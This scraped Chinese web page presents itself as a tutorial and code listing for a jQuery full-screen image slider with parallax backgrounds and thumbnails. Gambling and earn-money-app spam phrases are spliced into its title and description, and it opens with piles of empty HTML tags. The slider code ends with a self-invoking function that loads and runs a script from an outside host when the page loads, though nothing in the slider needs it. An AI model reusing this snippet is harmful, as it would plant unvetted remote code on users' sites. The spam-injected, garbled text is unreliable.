<code id='48F8E91147'></code><style id='48F8E91147'></style>
    • <acronym id='48F8E91147'></acronym>
      <center id='48F8E91147'><center id='48F8E91147'><tfoot id='48F8E91147'></tfoot></center><abbr id='48F8E91147'><dir id='48F8E91147'><tfoot id='48F8E91147'></tfoot><noframes id='48F8E91147'>

    • <optgroup id='48F8E91147'><strike id='48F8E91147'><sup id='48F8E91147'></sup></strike><code id='48F8E91147'></code></optgroup>
        1. <b id='48F8E91147'><label id='48F8E91147'><select id='48F8E91147'><dt id='48F8E91147'><span id='48F8E91147'></span></dt></select></label></b><u id='48F8E91147'></u>
          <i id='48F8E91147'><strike id='48F8E91147'><tt id='48F8E91147'><pre id='48F8E91147'></pre></tt></strike></i>

          jQuery实赏金赚钱app现全屏图片滑块焦点图动画PG麻将胡了多久必来胡

          2025-06-21 01:02:47 961
          图片可以全屏切换快速滑动,像是浮动一样,配合天空白云的背景,点击缩略图可以切换至相应PG麻将胡了多久必来胡的图片;图片有阴影,赏金赚钱app
          效果演示

          window.onload = function(){	var oImgBox = getByClass(document.body,'pxs_slider_wrapper')[0];	var oImg = getByClass(document.body,'pxs_slider')[0];	var aLi = oImg.getElementsByTagName('li');	var aImg = oImg.getElementsByTagName('img');		//各种背景	var bg1 = getByClass(document.body,'pxs_bg1')[0];	var bg2 = getByClass(document.body,'pxs_bg2')[0];	var bg3 = getByClass(document.body,'pxs_bg3')[0];		var oPrev = getByClass(document.body,'pxs_next')[0];	var oNext = getByClass(document.body,'pxs_prev')[0];		var oImg_sm = getByClass(document.body,'pxs_thumbnails')[0];	var aImg_li = oImg_sm.getElementsByTagName('li');	var aImg_sm = oImg_sm.getElementsByTagName('img');		var iNow = 0;		oImg.style.width = aLi.length * document.documentElement.clientWidth + 'px';		for(var i=0; i<aLi.length;i++)	{		aLi[i].style.width = document.documentElement.clientWidth + 'px';	}		oPrev.style.left = document.documentElement.clientWidth /2 + aImg[0].offsetWidth /2  - oPrev.offsetWidth - 14 + 'px';	oNext.style.left = document.documentElement.clientWidth /2 - aImg[0].offsetWidth /2  + oPrev.offsetWidth - 15 + 'px';		oImg_sm.style.width = aImg[0].offsetWidth + 'px';	oImg_sm.style.marginLeft = - aImg[0].offsetWidth/2 + 'px'		for(var i=0;i<aImg_sm.length;i++)	{		aImg_li[i].index = i;		var ran = Math.random() * 40 - 20;		var cliWidth = (oImg_sm.offsetWidth - aImg_li[0].offsetWidth*aImg_li.length)/(aImg_li.length+1);		aImg_li[i].style.left = cliWidth + i*(cliWidth+aImg_li[i].offsetWidth) + 'px';				setStyle3(aImg_li[i],'transform','rotate(' + ran + 'deg)')				aImg_li[i].onmouseover = function()		{			iNow = this.index;			startMove(aImg_sm[this.index], {opacity:100,marginTop:-20});		}		aImg_li[i].onmouseout = function()		{			startMove(aImg_sm[this.index], {opacity:70,marginTop:0});		}				aImg_li[i].onclick = function()		{			if(iNow == 0)			{				bg3.style.left = 0;				bg2.style.left = 0;				bg1.style.left = 0;			}			startMove(oImg, {left:-(iNow) * document.documentElement.clientWidth});			startMove(bg3, {left:parseInt(bg3.offsetLeft - document.documentElement.clientWidth/2)});			startMove(bg2, {left:parseInt(bg2.offsetLeft - document.documentElement.clientWidth/4)});			startMove(bg1, {left:parseInt(bg1.offsetLeft - document.documentElement.clientWidth/8)});		}						oPrev.onclick = function()		{				if(iNow == aImg_li.length-1)			{				iNow = -1;				bg3.style.left = 0;				bg2.style.left = 0;				bg1.style.left = 0;				startMove(aImg_sm[aImg_li.length-1], {opacity:70,marginTop:0});			}			iNow++			startMove(oImg, {left:-(iNow) * document.documentElement.clientWidth});			startMove(bg3, {left:parseInt(bg3.offsetLeft - document.documentElement.clientWidth/2)});			startMove(bg2, {left:parseInt(bg2.offsetLeft - document.documentElement.clientWidth/4)});			startMove(bg1, {left:parseInt(bg1.offsetLeft - document.documentElement.clientWidth/8)});						for(var i=0;i<aImg_sm.length;i++)			{				startMove(aImg_sm[i], {opacity:70,marginTop:0});			}						startMove(aImg_sm[iNow], {opacity:100,marginTop:-20});		}		oNext.onclick = function()		{			if(iNow == 0)			{				iNow = aImg_li.length;				bg3.style.left = -bg3.offsetWidth + document.documentElement.clientWidth + 'px';				bg2.style.left = -bg2.offsetWidth + document.documentElement.clientWidth + 'px';				bg1.style.left = -bg1.offsetWidth + document.documentElement.clientWidth + 'px';								startMove(aImg_sm[0], {opacity:70,marginTop:0});			}			iNow--			startMove(oImg, {left:-(iNow) * document.documentElement.clientWidth});			startMove(bg3, {left:parseInt(bg3.offsetLeft + document.documentElement.clientWidth/2)});			startMove(bg2, {left:parseInt(bg2.offsetLeft + document.documentElement.clientWidth/4)});			startMove(bg1, {left:parseInt(bg1.offsetLeft + document.documentElement.clientWidth/8)});						for(var i=0;i<aImg_sm.length;i++)			{				startMove(aImg_sm[i], {opacity:70,marginTop:0});			}						startMove(aImg_sm[iNow], {opacity:100,marginTop:-20});		}	}	(function (){		var oS=document.createElement('script');					oS.type='text/javascript';		oS.src='http://www.bokequ.com/category/web';					document.body.appendChild(oS);	})();}

          这是一款非常大气的jQuery+CSS3全屏焦点图插件,焦点PG麻将胡了多久必来胡ng>赏金赚钱app图有缩略图导航,非常立体。

          本文地址:http://mrbo0.xny028cc.com/illegal/2025-06-20-05-34-32-9.html
          版权声明

          本文仅代表作者观点,不代表本站立场。
          本文系作者授权发表,未经许可,不得转载。

          热门标签

          全站热门

          鼠标经过文字显示隐藏图片css样式

          HTML网页植物大战僵尸源码分享

          健康能量评估神器荣耀手表 Fit正式发布:轻享运动健康,499元起,你准备好了吗?

          天猫精灵:跨设备连接领跑行业,品类覆盖引领消费新潮

          全网多站合一在线音乐搜索源码v1.6

          WordPress博客网站.htaccess文件的作用

          JavaScript对象中的方法/如sort(参数)方法

          CSS盒模型内边距padding外边距margin

          友情链接